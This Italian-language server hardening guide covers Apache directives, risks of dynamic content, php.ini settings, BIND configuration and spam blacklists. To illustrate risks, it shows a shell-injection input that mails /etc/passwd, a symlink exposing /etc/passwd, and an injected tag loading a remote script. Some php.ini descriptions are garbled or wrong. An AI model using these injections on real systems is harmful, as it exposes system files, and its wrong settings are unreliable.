No more maintained.
Now just a test in a lab.
Overview sulla sicurezza dei servizi
Indicazioni operative e rasegna delle problematiche di sicurezza dei principali applicativi laso server.
Direttive di Apache e sicurezza
Tipo Infobox: DESCRIPTION - Skill: 4- ADVANCED
Analizziamo le direttive che possono essere usate nella configurazione di Apache per regolare i cordoni della sicurezza e rendere più tranquilla l'esistenza di un sysadmin.
Come sempre, più si stringe una configurazione per aumentare la sicurezza di un sistema, più si limitano le sue funzionalità e flessibilità, per cui ogni indicazione va correlata alle proprie esigenze.
Cataloghiamo le note riportate secondo vari criteri, alcuni casi ne possono prevedere più di una contemporaneamente, in certe situazioni, le indicazioni che vengono qui date DEVONO essere disattese per garantire il servizio previsto:
DEFAULT Indica settaggi presenti nella configurazione di default di Apache, distribuita con i sorgenti.
WEBMASTER Indica configurazioni che si prestano ad aumentare la sicurezza su server su cui diversi utenti non trusted possono uploadare pagine (clienti di un ISP, freepages di utenti privati ecc.)
NAVIGATORI Si riferisce a configurazioni che impediscono a normali navigatori il potenziale uso improprio dei servizi del web
RISERVATEZZA Si riferisce a settaggi che aumentano la riservatezza dei dati presenti sul server Web
DENIAL OF SERVICE Indica procedure che possono aiutare a difendersi da Denial Of Service Attacks.
Impedire il controllo degli accessi per directory - WEBMASTER - DEFAULT
Tramite l'uso dei file .htaccess è possibile definire direttive di configurazione specifiche in ogni singola directory, direttamente da parte di chi ci uploada file.
Su un server su cui possono uploadare documenti anche webmaster non noti, è opportuno limitare il più possibile questa funzionalità con una radicale disabilitazione dell'uso degli .htaccess su ogni directory:
<Directory />
AllowOverride None
</Directory>
E' poi possibile "aprire" per directory e funzionalità selezionate, la possibilità di fare l'override della conf generale tramite i file .htaccess locali.
Le diverse opzioni di AllowOverride controllano quali direttive possono essere definite nei file .htaccess: All, AuthConfig, FileInfo, Indexes, Limit, Options, None.
Impedire la lettura via Web a file .htaccess - NAVIGATORI - DEFAULT - RISERVATEZZA
Nella configurazione di Apache di default è presente un provvidenziale:
<Files ~ "^\.ht">
Order allow,deny
Deny from all
Satisfy All
</Files>
che impedisce la lettura via Web di file che iniziano con .ht e di conseguenza evita che un utente via Web possa leggere le informazioni delicate che possono essere presenti nei file .htaccess.
Ovviamente se si decide di cambiare il nome del file che controlla gli accessi sulle singole directory (direttiva di default: AccessFileName .htaccess) si dovrà adattare anche questa configurazione.
Impedire la lettura via Web a file di configurazione - NAVIGATORI - RISERVATEZZA
Analogamente al caso precedente può essere utile impedire l'accesso diretto a file che possono contenere parametri di configurazione (che finiscono con inc o conf):
<FilesMatch \.(inc|conf)>
Order Allow,Deny
Deny from all
</FilesMatch>
Disattivare l'uso di .cgi e .shtml al di fuori di directory predefinite - WEBMASTER - DEFAULT
Tramite la direttiva AddHandler si può dire al server web di trattare file con determinate estensioni con un apposito handler (per esempio un modulo per gestire pagine dinamiche). Di default sulla conf di Apache sono disattivati gli handler per script .cgi e .shtml:
#AddHandler cgi-script .cgi
#AddType text/html .shtml
#AddHandler server-parsed .shtml
per cui se si vogliono usare dei Server Side Includes o degli script CGI al di fuori della directory predefinita con la direttiva ScriptAlias /cgi-bin/ "@@ServerRoot@@/cgi-bin/", queste righe vanno scommentate.
Disabilitare l'accesso pubblico a server-info e server-status - NAVIGATORI - DEFAULT - RISERVATEZZA
Apache prevede due location speciali che possono essere utilizzate per visualizzare informazioni utili al sysadmin sullo stato del server web e la sua configurazione. Di default questo sono disabilitate, ma possono essere abilitate limitando gli IP da cui possono essere visualizzate. In genere è consigliabile non renderle visibili pubblicamente (in particolare server-info, che di fatto espone la configurazione completa di Apache).
#<Location /server-status>
# SetHandler server-status
# Order deny,allow
# Deny from all
# Allow from .your-domain.com
#</Location>
#<Location /server-info>
# SetHandler server-info
# Order deny,allow
# Deny from all
# Allow from .your-domain.com
#</Location>
Se si vogliono visualizzare server-status e server-info, scommentare queste righe e specificare i domini o gli IP da cui è permesso visualizzarli.
Disabilitare il file listing in directory senza index.html (o analoghi nomi di file predefiniti) - NAVIGATORI - RISERVATEZZA
Con la direttiva DirectoryIndex si definiscono quali file Apache automaticamente cerca, e visualizza, quando il client richiede un URI che contiene solo il nome di una directory, senza specificare il nome della pagina web. Se il client accede ad una directory che non contiene uno di questi index predefiniti, Apache visualizza direttamente tutti i file contenuti nella directory stessa, esponendo infomazioni potenzialmente riservate.
Se si vuole disabilitare il listing di tutti i file presenti in una directory, quando non è presente il file di indice, si usa la direttiva Options -Indexes. Es:
<Location />
Options -Indexes
</Location />
Per disabilitare il directory listing si può anche direttamente rimuovere il caricamento (o la compilazione) del modulo mod_autoindex, se invece si vuole abilitarlo, ma al contempo escludere dal listing dei file potenzialmente sensibili si può usare una direttiva come:
IndexIgnore .??* *.bak *.swp *# HEADER* README* RCS
Limitare le richieste del client - NAVIGATORI - DENIAL OF SERVICE
Di default Apache permette al client di eseguire richieste particolarmente esose che possono essere impropriamente utilizzate per un Denial Of Service attack. Esistono alcune direttive che limitano alcune caratteristiche delle richieste che il client può eseguire:
LimitRequestBody 10240 Limita a meno di 10 Kb le dimensioni del body di una richiesta HTTP (PUT o POST). Di default questo valore è 0 (infinito). Si può specificare un valore in byte diverso, avendo cura di non interferire con il normale funzionamento di un sito.
LimitRequestFields 30 Imposta a 30 il numero massimo di header HTTP che il client può inserire nella sua richiesta. Il valore di default è 100, in genere è difficile avere richieste che abbiamo più di 20-30 header.
LimitRequestFieldSize 500 Imposta a 500 byte la dimensione massima di ogni singolo header HTTP in una richiesta. Il valore di default è 8190.
LimitRequestLine 500 Imposta a 500 byte le dimensioni della richiesta HTTP (metodo, URL e protocollo), limitando di fatto le dimensioni dell'URL stesso che un client può chiedere (attenzione a dimensionarlo secondo i nomi e i parametri passati negli URL del proprio sito). Valore di default 8190.
Disabilitare l'uso di symlink - WEBMASTER
Di default Apache se trova in una directory di un suo sito Web un link simbolico all'infuori della directory stessa, prova a seguirlo e fornire il file linkato.
Questo comportamento può essere usato per far vedere via web dati che non dovrebbero essere visibili (immaginare un webmaster che digita il seguente comando nella sua home: ln -s /etc/passwd passwd.html.
Per impedirlo si deve definire, nella conf generale o in un specifico contenitore:
Options -FollowSymLinks.
Esiste anche la possibilità di configurare Apache per seguire solo i symlink a file posseduti dall'utente, permettendo il symlinking all'interno del proprio sito web (e appesantendo non poco il server, per la quantità di controlli aggiuntivi che deve fare per ogni file servito):
Options -FollowSymLinks +SymLinksIfOwnerMatch.
Problematiche di sicurezza con contenuti dinamici
Tipo Infobox: DESCRIPTION - Skill: 4- ADVANCED
I veri grattacapi in termini di protezione di un server web arrivano quando si deve gestire un sito dinamico, in cui, tramite cgi, php, perl, ssi o altri metodi le pagine vengono generate on-the-fly e il server non solo deve leggere i file presenti sulla document root ma attingere a dati su un database ed eseguire operazioni sul sistema.
In simili casi le insidie sono enormemente maggiori, perchè non dipendono semplicemente dalla versione del web server installata o dalla sua configurazione, ma di fatto riguardano ogni singolo script che viene eseguito per gestire e generare le pagine.
Fondamentali, in questo senso, sono i permessi con cui vengono eseguiti script o programmi: questi vengono solitamente ereditati da Apache stesso per cui è importante che il server web giri come utente comune (deve comunque essere lanciato come root, per bindarsi alla porta 80, ma tutti i processi figli che gestiscono le connessioni con i client, sono eseguiti con privilegi comuni).
A volte è necessario eseguire alcuni script come root, in questo caso è necessario abilitare funzionalità di suexec, che vanno sempre ponderate con attenzioni.
A prescindere dai singoli linguaggi utilizzati per generare pagine dinamiche, esistono alcune regole di fondo, legate alla stessa logica di un sistema operativo, che vanno considerate nell'analisi e nella realizzazione del codice:
Verifica dell'input di POST o GET
Qualsiasi dato che l'utente può postare su una pagina web va attentamente valutato e ponderato: le possibilità di abusare della funzionalità di uno script sono enormi, considerando la logica di Unix e la modalità con cui vengono gestiti gli input.
Immaginiamo di avere un form dove viene richiesto un indirizzo Email, questo viene passato tramite un nostro script CGI ad un comando shell come mail $indirizzo_inserito.
Se qualcuno inserisce come email qualcosa come [email protected] < /etc/passwd il comando eseguito sul sistema diventa mail [email protected] < /etc/passwd con le conseguenze che si possono immaginare.
Considerare anche le variazioni sul tema, nel caso nell'input venga inserito un ; seguito da un comando maligno, o un > o delle parentesi tonde () ecc.
In pratica si deve sempre porre la massima attenzione a qualsiasi "punto di entrata" di dati dall'esterno: di fatto a qualsiasi form che passa dati ad uno script CGI, o qualsiasi pagina dinamica che accetta parametri tramite l'URL passato in GET.
Controllo dell'input sul server (non lasciare la sicurezza sul lato client)
Le possibilità di abuso che si aprono nel momento in cui si utilizzano pagine dinamiche sono innumerevoli, le soluzioni varie, ma in genere la logica è sempre la stessa: controllare e filtrare ogni input accettabile e farlo sul server e non lasciarlo al client.
Eveitare per esempio di controllare l'input direttamente nella pagina HTML tramite javascript o analoghi.
In questo modo si lascia al lato client il controllo e la sicurezza dei dati: un utente ostile può sempre salvare la pagina html in locale, modificare il javascript che esegue il controllo dell'input, ed eseguire il POST dalla pagina modificata, senza i filtri previsti: l'unico modo per evitare una simile operazione sarebbe verificare il referrer da cui arrivano i dati postati, se la pagina è quella del nostro sito allora si accetta l'input, altrimenti si blocca, ma anche in questo caso l'header REFERRER può essere manipolato, per cui di fatto, è sempre meglio operare ogni controllo e filtro dell'input direttamente sul server.
Evitare l'output di codice HTML inseribile dall'utente
Si consideri un forum dove chiunque può scrivere messaggi. Se non vengono fatti specifici controlli e filtrati tutti i tag html tranne eventualmente quelli che possono essere ritenuti innocui, un utente ostile può postare del codice HTML con effetti imprevedibili e comunque molto ampi e variegati (Basta richiamare uno script remoto con <img src=http://www.sitoremoto.com/bruttecose.cgi> per eseguire codice ostile sul browser dell'utente che visita il forum)
Passaggio di dati e parametri sensibili via URL o hidden fields
A volte per gestire pagine dinamiche si devono passare dati e parametri da una pagina all'altra. I metodi per farlo possono essere via POST, tramite i contenuti di un form o via GET, tramite coppie di attributi/valori passati nell'URL.
Se i parametri sono sensibili e potenzialmente riservati o sfruttabili per usi impropri si deve prestare attenzione a come vengono gestiti: usare HIDDEN field in un form, per esempio, dal punto di vista della sicurezza è inutile, visto che il sorgente della pagina HTML è facilmente visualizzabile.
Si può pensare di criptare i dati, se si devono a tutti costi "passare", oppure di trovare soluzioni tali da rendere inutile il passaggio di simili dati, perchè associati alla singola sessione di navigazione (per esempio tramite cookie).
php.ini
Tipo Infobox: PATH - Skill: 3- INTERMEDIATE
Per l'analisi delle configurazioni principali di php.ini prendiamo in esame il php.ini-dist che presenta un tipo di configurazione meno esasperata e più user friendly nonchè oggettivamente più utile per la programmazione.
Cominciamo con il dire che php.ini gestisce tutte le configurazioni possibili (eccezion fatta per le modalità di installazione e compilazione).
I settaggi che metterò negli esempi sono quelli di default
La logica è davvero molto semplice, in pratica corrisponde a questo esempio:
settaggio = value
Permette l'utilizzo dei tag abbreviati
short_open_tags = On
Permette l'utilizzo di tag ASP
asp_tags = Off
Il numero di cifre significative nei numeri a virgola mobile
precision = 12
Forza la compatibilità con l'anno 2000 (crea problemi con non-compliant browser)
y2k_compliance = Off
Abilitazione del buffering dell'output. Settando "On" questa configurazione permetterete a PHP di inviare la pagina al browser solo al termine dell'esecuzione di tutti gli script e tutte le varie funzioni di echo o print venrranno immagazzinate nel buffer. Questo ha il vantaggio di permettere l'invio di header lines anche dopo l'invio del body. Inoltre nel caso che nella maggioranza delle pagine ci sia commistione di html tradizionale e html generato da php attraverso echo() o print().
Oppure qualora si senta l'esigenza di comprimere l'output per velocizzare lo scaricamento delle pagine (attivando nel php.ini sia il buffering che la compressione). Lo svantaggio principale è di rallentare l'esecuzione del codice PHP nel caso che lo script non sfruttati appieno queste opportunità.
Nel caso che il server fornisca hosting a diversi clienti è preferibile lasciare queste opzioni disabilitate e lasciare la libertà ai programmatori di sfruttare il buffering con le funzioni ob_start etc...
output_buffering = Off
Puoi redirezionare l'output degli scripts verso una funzione. Ad esempio impostando output_handler a ob_gzhandler, l'output verrà trasparentemente compresso per i browser che supportano gzip o browser che scompattano il codice.
output_handler =
Rende trasparente la compressione tramite le librerie gzip. Le impostazioni valide sono 'Off' 'On' o specificando il buffer size da utilizzare per la compressione (default = 4 Kbyte)
Importante: se si imposta questa configurazione ad 'On' output_handler DEVE essere settata 'On'
zlib.output_compressed = Off
Implicit flush è una opzion che deve essere settata Off, al massimo deve essere utilizzata solamente in fase di debugging in quanto ha gravi conseguenze sulle performance
implicit_flush = Off
Impostando "on" si forza a passare per reference gli argomenti quando viene chiamata la funzione. Questo metodo è deprecato (anche se di default è settato On) e viene consigliato di sistemare gli script per funzionare anche se questa configurazione è settata ad "on" in quanto in futuro verrà cancellata.
allow_call_time_pass_reference = On
Safe mode effettua un rigido controllo sugli utenti che "girano" nello spazio web in cui vengono eseguiti script php.
Normalmente tutti gli script ereditano i permessi di Apache (che con certe configurazioni del server possono rivelarsi troppo ampi), invece dal momento in cui viene attivato safe_mode, gli script agiranno strettamente con i permessi dell'utente che li ha uplodati (cioè, in uno spazio in hosting, l'utente ftp), quindi, ad esempio, non potranno andare a leggere un file creato con php nello spazio WEb di un altro utente (revisionato da Fabio Heller)
safe_mode = Off
Di default safe mode quando viene aperto un file fa un UID compare. Se vuoi "rilassare" il tuo script ad un GID compare bisogna impostare la seguente impostazione ad "On"
safe_mode_gid = Off
Quando il safe mode è impostato su "On" il controllo UID/GID è bypassato quando viene incluso un file da quella directory e dalle sue sottodirectory
safe_mode_include_dir =
Se si imposta "On" dice a PHP di dichiararsi presente sul server
expose_php = On
Limiti risorse:
Tempo massimo di esecuzione di uno script PHP
max_execution_time = 30
Massima quantità di memoria che uno script PHP può occupare per la sua esecuzione
memory_limit = 8M
Gestione degli errori (per maggiori dettagli in php.ini vengono spiegati i vari livelli di visualizzazione degli errori)
Questa configurazione mostra tutti gli errori eccetto le notifiche
error_reporting = E_ALL & E_NOTICE
Visualizzazione errori come parte dell'output della pagina. Questa opzione deve essere impostata "On" SOLO per siti in sviluppo, per server in produzione è vivamente consigliato di spegnere questa configurazione e di utilizzare il logging interno di PHP (più avanti spiegato) perchè potrebbe visualizzare informazioni critiche come il path dei file
display_errors = On
Anche quando display_errors = On, gli errori occorsi durante la sequenza di startup di PHP non vengono visualizzati. E' fortemente raccomandato per server in produzione di disattivare questa funzionalità
display_startup_errors = Off
Logging degli errori in un file di log. Il team di php.net avvisa di attivare questa opzione per server in produzione
log_errors = Off
Memorizza l'ultimo errore/warning in $php_errormsg (boolean)
track_errors = Off
Disabilita l'inclusione di tag HTML negli errori
html_errors = Off
Log errors in uno specifico file (valido se log_errors = On)
error_log = filename
IMPORTANTE! la configurazione di questo parametro è molto importante perchè definisce la compatibilità con vecchie versioni di PHP in qui era impostata di default ad "On" mentre ora per motivi di sicurezza è consigliato settare ad "Off" Regiter Globals.
In breve questa funzione permette di non dover richiedere una variabile passata in un URL come GET o come POST ma di averla già disponibile.
Se register_globals = On nel caso di un url del tipo: http://www.dominio.com/pippo.php?ID=56 se nella pagina successiva printo $ID il PHP visualizzerà 56, nel caso di register globals = Off la variabile sarà disponibile solamente in $_GET["ID"] o con le vecchie variabile in $HTTP_GET_VARS["ID"] e non come $ID
register_globals = On
Questa direttiva dice a PHP di dichiarare le variabili argv&argc (quelle contanenti le informazioni GET). Se non si usano queste variabili si può spegnere questa configurazione per ottenere maggiori performance.
register_argv = On
Massima dimensione di un POST di dati che PHP accetti
post_max_size = 8M
Questa direttiva è deprecata e php.net consiglia di utilizzare l'altra variabile di ordinamento dei GET POST COOKIE spiegata precedentemente
gpc_order = "GPC"
Importante: Magic quotes
Magic quotes per variabili in ingresso GET/POST/COOKIE: Vuol dire che a tutte le variabili in incoming come GPC vengono aggiunti gli slashes. Es. ' = \' " = \"
magic_quotes_gpc = On
Magic quotes per dati runtime (Es. dati da SQL, da exec etc...)
magic_quotes_runtime = Off
Utilizza magic quotes stile sybase (escape per ' con '' anzichè \')
magic_quotes_sybase = Off
Directory dove risiedono le estensioni
extension_dir = ./
Configurazione per enablare o meno le dl() function che non funzionano correttamente su multithread server, IIS e Zeus e vengono automaticamente disabilitate in questi server
enable_dl = On
File Uploads
Impostare il permesso di HTTP upload di files
file_uploads = On
Directory dei file temporanei in fase di upload (se commentate questa configurazione verrà utilizzata quella di default del S.O.)
upload_tmp_dir
Massima dimensione di un file accettata da PHP
upload_max_filesize = 2M
File Opening
Configurazione per concedere la possibilità del trattamento con fopen di URL file
allow_url_fopen = On
Dinamic extension
Windows extensions (se commentata non viene caricata) un esempio:
extension = php_cpdf.dll
Module settings
Configurazione per attivazione dei syslog (disabilitare questa opzione permette un incremento delle performance di PHP)
define_syslog_variables = Off
Funzioni email per windows
Impostazione SMTP server
SMTP = localhost
Invio email da:
sendmail_from = [email protected]
Funzioni email per unix
Path di sendmail
;sendmail_path = (commentata di default)
Configurazioni database
SQL
sql.safe_mode
ODBC
Permette o previene connessioni persistenti
odbc.allow_persistent = ON
Controlla che la connessione persistente sia valida prima di utilizzarla
odbc.check_persistent = On
Massimo numero di connessioni persistenti (-1 equivale ad infinite)
odbc.links = -1
MYSQL
Per eventuali configurazioni del tipo mysql.allow_persistent = On valgono le spiegazioni date per ODBC e così per i database supportati. (tratterò esclusivamente i casi specifici di ogni DB).
Porta di default di mySQL. Se lasciata blank viene utilizzata la porta di default 3306
mysql.default_port =
Nome socket per connessioni locali a mySQL. Se vuota viene utilizzata quella di default
mysql.default_socket = On
Default host per mysql_connect() (non applicabile in safe mode)
mysql.default_host
Default user per mysql_connect() (non applicabile in safe mode)
mysql.default_user =
Default password per mysql_connect() (non applicabile in safe mode). E' assolutamente sconsigliabile utilizzare una password di default!!
mysql.default_password =
POSTGRESQL
Individua connessioni persistenti broken con pg_connect(). Necessita di un piccolo overhead
pgsql.auto_reset_persistent = Off
SYBASE
Error severity minimo visualizzato
sybase.min_error_severity = 10
Si forza la compatibilità con versioni vecchie di PHP (3.0) in caso di settaggio ad On forza PHP a assegnare tipi di risultati del tipo di quelli di sybase.
Questa compatibilità non rimarrà a lungo
sybase.compatibility_mode = Off
SYBASE-CT
Massimo numero di connessioni (persistenti e non) accettate da sybase (-1 senza limiti)
sybct.max_links = -1
N.b.Non mi dilungherò ulteriormente sui database in quanto indicativamente per tutti i database le configurazioni sono simili, ci sono altri casi eccezionali comunque descritti ampiamente in PHP.INI
SESSIONI
Handler utilizzato per lo store ed il retrieve dei dati
session.save_handler = files
Path dove vengono immagazzinati i files delle sessioni
session.save_handler = /tmp
Se usare i cookies
session.use_cookies = 1
Nome della sessione (usato come cookie name)
session.name = PHPSESSID
Inizializzazione sessioni alla richiesta di startup
session.auto_start = 0
Tempo di vita del cookie (se 0 finchè il browser non viene restartato)
session.cookie_lifetime = 0
Path per il quale il cookie è valido
session.cookie_path = /
Handler utilizzato per la serializzazione dei dati (lo standard è PHP)
session.serialize_handler = php
Percentuale di possibilità che la "Garbage Collection" venga iniziata quando la sessione viene inizializzata
session.gc_probability = 1
Importante: Numero di secondi dopo il quale la sessione viene considerata scaduta (importante in caso di carrelli della spesa)
session.gc_maxlifetime = 1440
Controlla l'HTTP referer per la validazione di stored URL che contengono l'ids
session.referer_check =
Quanti bytes vengono letti dal file
session.entropy_lenght = 0
Specifica dove creare il session ID
session.entropy_file =
Setta il no cache
session.cache_limiter = nocache
Tempo di espirazione del documeto in N minuti
session.cache_expire = 180
E' molto rischioso abilitare il trans sid perchè permette di accedere ad una sessione tramite vecchi bookmarks o url stored e perchè l'utente può inviare l'URL contenente la sessione via mail, irc etc...
sessione.use_trans_sid = 0
E con questa ultima spiegazione ho terminato di trattare le configurazioni principali di php.ini
Esempio di configurazione per un sito in produzione (da prendere con le molle e da customizzare in base alle proprie esigenze) PHP.INI
Overview delle problematiche di sicurezza con il DNS
Tipo Infobox: DESCRIPTION - Skill: 2- JUNIOR
La funzione dei server DNS è fondamentale per il funzionamento di Internet e spesso una mancanza di servizio da parte di server DNS si tramuta in un blocco, di fatto, di qualiasi altra attività in rete.
Le problematiche di sicurezza che riguardano il protocollo DNS e il relativo servizio sono di varia natura:
- Riservatezza e sensibilità delle informazioni.
Tramite il DNS si possono fornire varie informazioni su una macchina, oltre al semplice nome. La qualità e la quantità delle informazioni esposte dipende di fatto da come si configurano le proprie zone (i domini per cui si è autoritari) e quante informazioni vengono date sui singoli host.
In linea di massima è consigliabile dare alle macchine nomi di fantasia (es: giove.dominio.com) che non siano strettamente collegate alla loro funzione e associarli con un CNAME al nome di un servizio (es: www.dominio.com o upload.dominio.com).
A prescindere dalla quantità di informazioni configurate per un dominio sul suo server DNS autoritativo, è anche opportuno limitare il zone transfer della zona solo ai server DNS secondari o a IP fidati.
- Vulnerabilità del servizio DNS.
Come per altri protocolli anche i software che vengono usualmente utilizzati per gestire il DNS possono avere buchi ed essere suscettibili di attacchi. In particolare BIND ha una security history relativamente tormentata per cui è importante averne sempre una versione aggiornata per i servizi pubblici.
L'intrusione su un server DNS, oltre alle problematiche tipiche di ogni intrusione, è particolarmente critica, perchè sul server violato è possibile modificare facilmente le configurazione del DNS dando via libera ad una vasta varietà di problematiche per tutti i servizi dei domini per cui il server DNS è autoritario.
- Funzionamento del servizio
Attacchi DOS a server DNS o guasti su linee o sistemi, compresi i ROOT-SERVERS, possono mettere a repentaglio la risoluzione dei nomi su diverse scale.
E' prassi comune, anche perchè semplice da implementare, prevedere almeno un server DNS secondario per ogni server primario. I server secondari devono risiedere su reti diverse e possibilmente in zone geografiche differenti.
Generalmente il DNS non è un servizio che impegna troppo un sistema per cui può essere tranquillamente implementato su macchine che forniscono altri servizi primari.
- DNS poisoning e attacchi sul protocollo
La comunicazione fra client-server e server-server DNS, a meno che non venga usato DNSSEC, non viene validata, autenticata o criptata e può essere soggetta ad una varietà di attacchi con diverse caratteristiche.
Il loro punto in comune è quello di fornire risposte DNS arbitrariamente errate e quindi potenzialmente foriere di ogni tipo di attacco a legittime richieste di client ignari.
Di fatto il modo migliore per proteggersi dalla intrinseca "buona fede" delle risposte del protocollo DNS sarebbe quella di usare DNSSEC, ma la sua diffusione è ancora troppo lenta e parziale per essere veramente utile.
Configurazioni di BIND relative alla sicurezza
Tipo Infobox: DESCRIPTION - Skill: 3- INTERMEDIATE
Le precauzioni di massima per evitare abusi comuni su un server DNS non sono molte e soprattutto non comportano particolari complicazioni per cui vale la pena implementarle appena possibile.
Elenchiamo alcune configurazioni e accorgimenti raccomandabili quando si configura BIND.
NEGARE LO ZONE TRANSFER
Il trasferimento di zona avviene esclusivamente fra due server DNS (può farlo anche un client, ma solo per raccogliere informazioni non necessarie) quando viene aggiornata una zona sul master e trasferita agli slave.
Si può configurare BIND per limitare gli zone transfer solo ai server autorizzati. In /etc/named.conf ci dovrebbero essere righe come:
options {
directory "/var/named";
allow-transfer {
192.168.0.0 / 24 ; Si permette uno zone transfer a tutta la rete 192.168.0.0/24
172.16.1.6 ; Si permette uno zone transfer all'host 172.16.1.6
};
};
In caso di richieste di zone transfer non autorizzate, sul file di log, generalmente /var/log/messages si trovano entry del tipo:
Mar 4 11:48:31 ns named[2762]: client 193.0.0.63#46935: zone transfer 'openskills.info/IN' denied
Mar 4 11:48:54 ns named[2762]: client 193.0.0.63#47815: zone transfer 'openskill.info/IN' denied.
Fondamentalmente su un server DNS slave non è necessario permettere lo zone transfer ad alcun IP, su un server DNS master è necessario permetterlo a tutti gli indirizzi dei server slave.
LIMITARE LE POSSIBILITA' DI QUERY
Quando si imposta un server DNS come resolver su un client, ogni richiesta fatta dal client al server viene completamente processata dal server stesso, se il server non ha la risposta nella sua cache o fra le zone di cui è autoritativo, il server DNS richiede per conto del client, le informazioni ai server DNS autoritativi. Questa operazione si definisce Query Ricorsiva e viene generalmente permessa sui server DNS che forniscono il loro servizio come resolver ad un dato range di client.
Se il proprio server DNS funge solo da resolver e non è autoritativo per alcun dominio (quindi non deve ricevere query da altri server DNS) è può configurare Bind per limitare query solo da dati IP:
acl "trusted" {
213.198.151.0/24; 10.0.0.0/8; Definisce una acl, chiamata "trusted"
};
options {
directory "/var/named";
allow-query { "trusted"; }; Permette le query solo agli IP indicati nella acl "trsuted"
};
Se invece il proprio server è autoritativo per alcune zone ma non viene utilizzato come resolver è opportuno disabilitare la possibilità di fare query-ricorsive e si deve lasciare aperta la possibilità di eseguire query da ogni parte di Internet, almeno per i domini di cui è autoritativo:
options {
recursion no; Diabilita la possibilità di fare query ricorsive
};
SEPARARE DNS RESOLVER DA DNS DELEGATED
Se un server DNS ha la delega per un dominio, deve poter rispondere a query DNS di tutti i client su Internet per le zone di cui è autoritario. Se viene utilizzato come resolver da un dato numero di client (i PC di una rete locale, gli utenti di un provider, ecc) deve poter eseguire query ricorsive per conto di tutti i suoi client.
Queste sono due funzionalità separate che in linea di massima sarebbe opportuno implementare su 2 macchine separate:
- Un server delegato, che permette query da tutta Internet, non permette query ricorsive e permette zone transfer solo ai suoi slave.
- Un server resolver, che permette l'accesso solo da un range di IP definito, permette query ricorsive e nega ogni zone transfer.
Molti tipi di attacchi di DNS poisoning, infatti, si basano sulla funzionalità di recursive query, che quindi andrebbe limitata per quanto possibile.
Se, come spesso accade, il proprio server DNS deve essere sia autoritativo per alcuni propri domini che fare da resolver per i propri client, è possibile configurarlo per cercare di espletare entrambe le funzioni limitando i rischi di sicurezza:
acl "trusted" {
213.198.151.0/24; 10.0.0.0/8; Definisce una acl, chiamata "trusted"
};
acl "slave" {
192.253.253.9; 193.205.245.8;
};
options {
directory "/var/named";
allow-query { "trusted"; }; Di default permette query solo dagli IP trasted
};
zone "openskills.info" {
type master;
file "openskills.info";
allow-query { any; }; Per il dominio openskills.info, di cui è autoritario, accetta query da tutti
allow-transfer { "slave"; }; Permette zon transfer per il dominio openskills.info solo agli IP indicati nell'acl "slave"
};
zone "151.198.213.in-addr.arpa" {
type master;
file "213.198.141";
allow-query { any; };
allow-transfer { "slave"; };
};
NASCONDERE LA VERSIONE DI BIND
Tramite il comando dig è possibile scoprire la versione di Bind che gira sul server interrogato:
dig version.bind chaos txt - Visualizza la versione di Bind sul server DNS correntemente utilizzato:
; <<>> DiG 9.2.1 <<>> version.bind chaos txt
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41822
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.2.1" Sul server gira Bind 9.2.1
dig @ns.dominio.it version.bind chaos txt - Visualizza la versione di Bind sul server DNS ns.dominio.it.
Notare che se sul server non gira Bind, l'ANSWER SECTION risulta vuota.
Per nascondere la versione di Bind che si sta utilizzando basta scrivere nel file di configurazione:
options {
version "Ignota";
};
Lo Spam e le black list (RBL)
Tipo Infobox: DESCRIPTION - Skill: 2- JUNIOR
Quasi tutti sono d'accordo sul fatto che lo SPAM (invio su larga scala di mail non richieste) sia un distrubo, per non dire una piaga, di cui si può volentieri fare a meno e da cui ci si deve difendere.
Tecnicamente è possibile inviare spam utilizzando un qualsiasi server SMTP in rete, che per intrinseca natura permette il RELAY, cioè la possibilità di essere utilizzato per inviare posta, ai suoi client.
I problemi da affrontare, per gli amministratori di un server di posta sono di molteplice natura:
1- Impedire che il proprio server sia utilizzato per inviare spam in rete;
2- Limitare e filtrare il più possibile le mail di spam destinate agli utenti locali;
3- Evitare che il proprio server sia inserito in Black List contenenti indirizzi di server usati per spam di
1- Tipicamente un server di posta viene configurato per permettere il relay sono a client di indirizzi IP o domini specifici o a quelli che si autenticano in qualche modo.
Il problema quindi può venire da qualsiasi utente che è autorizzato ad usare il server e ne abusa consapevolmente, perchè lui è lo spammer, o senza saperlo, perchè vittima di qualcuno o qualcosa che abusa del suo computer.
Questo vale anche e soprattutto per server in rete, anche con tutt'altre funzioni, nel momento in cui vengono violati da un cracker che si mette ad utilizzarli per spammare ferocemente.
A questo proposito buona pratica è:
- Verificare che il proprio server di posta non abbia relay aperti a indirizzi che non siano autorizzati, controllati e considerati fidati (tramite siti web o servizi in rete dedicati, o verifiche da indirizzi arbitrari). Evitare di fare controlli basati su nomi di dominio (manipolabili) e farli solo sulla base degli indirizzi IP sorgenti.
- Limitare sul server il numero massimo di mail che un client può inviare in un dato lasso di tempo. Facendo attenzione a casi in cui l'invio di grandi quantità di messaggi è legittimo (mailing list, newsletter ecc).
- Monitorare le attività di invio di mail, possibilmente con statistiche visuali, che possano velocemente mostrare se ci sono comportamenti anomali ed eccessivi volumi di messaggi.
- Impedire, ovviamente, che qualcuno violi uno dei propri server e lo utilizzi abusivamente per spammare.
2- Le attività volte a limitare l'arrivo di eccessivo spam sulle caselle di posta locali sono altrettanto necessarie.
I metodi di difesa sono vari, il più comodo e diffuso è quello di appoggiarsi ad una o più RBL, black list, mantenute da organizzazioni o società, che contengono elenchi di indirizzi che sono stati utilizzati per l'invio di spam in passato o che si basano su principi diversi (relay aperti, indirizzi IP assegnati a dialup, socks proxy aperti...).
In questo senso considerare che:
- Ci sono diversi metodi per eseguire un controllo su queste liste di indirizzi. Quello più comune è di appoggiarsi ad un server dns che comunica al server di posta se un indirizzo è nella sua black list (DNSBL).
- Non esagerare nell'implementare troppi DNSBL sullo stesso server di posta, soprattutto se questi gestisce grossi volumi: comportano ciascuno una query DNS esterna per ogni messaggio in arrivo.
- Fare attenzione alle Black List che si utilizzano, alcune sono troppo restrittive e limitano la possibilità di ricevere posta da troppi server smtp legittimi: nessuno vuole lo spam, ma molti non sono disposti a perdere mail potenzialmente importanti per difendersene.
- Su server di posta eseguire un controllo sul reverse degli IP da cui arrivano i messaggi. E' una misura che può essere pericolosa (creando falsi negativi e respingendo mail validi da server con DNS misconfigurato) e tuttosommato facilmente bypassabile da chi invece vuole veramente fare spam, per cui va valutata con estrema prudenza.
